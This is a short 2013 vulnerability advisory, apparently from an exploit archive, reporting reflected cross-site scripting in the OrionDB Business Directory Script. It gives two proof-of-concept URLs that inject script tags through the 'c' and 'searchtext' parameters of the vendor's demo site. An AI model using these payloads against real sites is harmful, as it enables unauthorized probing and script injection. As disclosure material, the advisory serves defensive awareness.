OrionDB Business Directory Script Cross Site Scripting

2013.03.27

Credit: 3spi0n

Risk: Low

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-79

##################################################################################
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /  
                                                                /____/   
##################################################################################																
OrionDB Business Directory Script, XSS Vulnerabilities
Product Page: http://www.oriondb.com/
Script Demo: http://www.oriondb.com/wd-demo/

Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhatz Inc. and Janissaries Platform.
##################################################################################

[1] Xss Vulnerabilities on Demo Site

[+] (index.php, c Param)
>>> http://www.oriondb.com//wd-demo/index.php?c=<script >prompt(35)</script>

[+] (index.php, searchtext param)
>>> http://www.oriondb.com/wd-demo/index.php?c=search&category=Food&searchtext=1</title><h1>3spi0n</h1><script >prompt(35)</script>

References:

http://www.oriondb.com/

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

OrionDB Business Directory Script Cross Site Scripting

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.